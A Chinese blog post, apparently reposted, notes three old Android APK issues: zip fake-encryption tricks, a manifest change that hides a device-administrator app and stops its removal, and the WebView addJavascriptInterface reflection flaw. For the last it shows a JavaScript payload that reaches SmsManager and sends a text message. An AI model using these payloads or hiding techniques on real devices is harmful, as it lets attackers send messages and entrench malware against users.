当前位置: 首页 > news >正文

apk漏洞记录1:伪加密+设备管理器不可删+webview漏洞

2019独角兽企业重金招聘Python工程师标准>>> hot3.png

伪加密1:apk打开需要密码

成因:修改zip的头,把文件的加密标志设置为ture,还原就把加密标志设置为false.利用了Android处理zip文件不判断头里的加密信息,其他压缩软件,java默认实现的zip api都有检测zip头中的加密信息 


伪加密2:apk压缩文件被破坏

成因:APKPC上面可以看作一个压缩文件,在Android系统里面它就是一个手机系统软件文件。Android系统对APK的识别是从标志头到标志尾,其他多余数据都会无视。所以说在标志尾添加其他数据对把APK看做压缩文件的PC端来说这个文件被破坏了,所以你要对其进行解压或者查看都会提示文件已损坏,用反编译工具也会提示文件已损坏,但是它却不会影响在Android系统里面的正常运行和安装而且也能兼容到所有系统。使用压缩文件修复工具也能把它修复好让我们做的保护消失。



设备管理器不可删除:某app申请到了设备管理器权限后,在设备管理列表隐身,并且不可被卸载,如obad

成因:

<receiver android:name="LockListener"
            android:permission="android.permission.BIND_DEVICE_ADMIN">  
            <meta-data android:name="android.app.device_admin"
                      android:resource="@xml/lock_screen" />
        <intent-filter>  
               <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"  />
        </intent-filter>  
       
        </receiver> 

如果去掉上面的<action android:name="android.app.action.DEVICE_ADMIN_ENABLED"  /> ,android还是允许app注册成为设备管理器,但是此app会在设备管理列表隐身,且不可被取消设备管理器权限。


webview漏洞:  Android系统通过WebView.addJavascriptInterface方法注册可供javascript调用的java对象,以用于增强javascript的功能。但是系统并没有对注册JAVA类的方法调用的限制。导致攻击者可以利用反射机制调用未注册的其它任何JAVA类,最终导致javascript能力的无限增强。

举例:

我们利用该漏洞调用SmsManager发送短信(被攻击APK要有短信发送权限)

         WebView webview = new WebView(context);

         WebSettings webset= webview.getSettings();
         webset.setJavaScriptEnabled(true);
         webview.addJavascriptInterface(new JSInvoke(), "jsinvoke");

         利用该漏洞的外部javascript脚本:

         <script>

               var obj_smsManager = jsinvoke.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null).invoke(null,null);

               obj_smsManager.sendTextMessage("159********",null,"test",null,null);

         </script>


    出于安全考虑,为了防止Java层的函数被随便调用,Google在4.2版本之后,规定允许被调用的函数必须以@JavascriptInterface进行注解,所以如果某应用依赖的API Level为17或者以上,就不会受该问题的影响(注:Android 4.2中API Level小于17的应用也会受影响)。


转载于:https://my.oschina.net/1590538xiaokai/blog/309947

相关文章:

  • 图像处理之基础---矩阵求逆实现
  • html+css小知识点
  • MFC之窗体改动工具栏编程状态栏编程程序启动画面
  • UNIX环境编程学习笔记(9)——文件I/O之文件访问权限的屏蔽和更改
  • SoftLayer®凭借Flex Images™消融物理与虚拟服务器之间的界线
  • 康动仪数据传输不成功可以用如下办法解决
  • 如何使用MSDN
  • JavaScript document 对象
  • [Git].gitignore失效的原因
  • 不知道能不能写小说
  • Appserv配置虚拟主机设置教程
  • 深入理解linux内核: linux内核
  • spring中context:property-placeholder/元素
  • 第二十章、启动流程、模块管理与 Loader
  • 一个体检系统设想
  • 【css3】浏览器内核及其兼容性
  • 【划重点】MySQL技术内幕:InnoDB存储引擎
  • input实现文字超出省略号功能
  • JavaScript/HTML5图表开发工具JavaScript Charts v3.19.6发布【附下载】
  • java取消线程实例
  • JS+CSS实现数字滚动
  • MD5加密原理解析及OC版原理实现
  • Promise面试题2实现异步串行执行
  • Storybook 5.0正式发布:有史以来变化最大的版本\n
  • 前端工程化(Gulp、Webpack)-webpack
  • 一个SAP顾问在美国的这些年
  • (4)STL算法之比较
  • (9)目标检测_SSD的原理
  • (附源码)springboot 房产中介系统 毕业设计 312341
  • (附源码)ssm智慧社区管理系统 毕业设计 101635
  • (附源码)计算机毕业设计大学生兼职系统
  • (六)激光线扫描-三维重建
  • (没学懂,待填坑)【动态规划】数位动态规划
  • (五)大数据实战——使用模板虚拟机实现hadoop集群虚拟机克隆及网络相关配置
  • (一)Linux+Windows下安装ffmpeg
  • (转)JVM内存分配 -Xms128m -Xmx512m -XX:PermSize=128m -XX:MaxPermSize=512m
  • (转)拼包函数及网络封包的异常处理(含代码)
  • (转载)CentOS查看系统信息|CentOS查看命令
  • ***测试-HTTP方法
  • .bat批处理(八):各种形式的变量%0、%i、%%i、var、%var%、!var!的含义和区别
  • .htaccess配置常用技巧
  • .L0CK3D来袭:如何保护您的数据免受致命攻击
  • .NET MAUI学习笔记——2.构建第一个程序_初级篇
  • .考试倒计时43天!来提分啦!
  • ::什么意思
  • @Controller和@RestController的区别?
  • [ HTML + CSS + Javascript ] 复盘尝试制作 2048 小游戏时遇到的问题
  • [ solr入门 ] - 利用solrJ进行检索
  • []串口通信 零星笔记
  • [20171106]配置客户端连接注意.txt
  • [AIGC] Nacos:一个简单 yet powerful 的配置中心和服务注册中心
  • [Android] 240204批量生成联系人,短信,通话记录的APK
  • [AS3]URLLoader+URLRequest+JPGEncoder实现BitmapData图片数据保存
  • [C++]Leetcode17电话号码的字母组合
  • [C++]类和对象【上篇】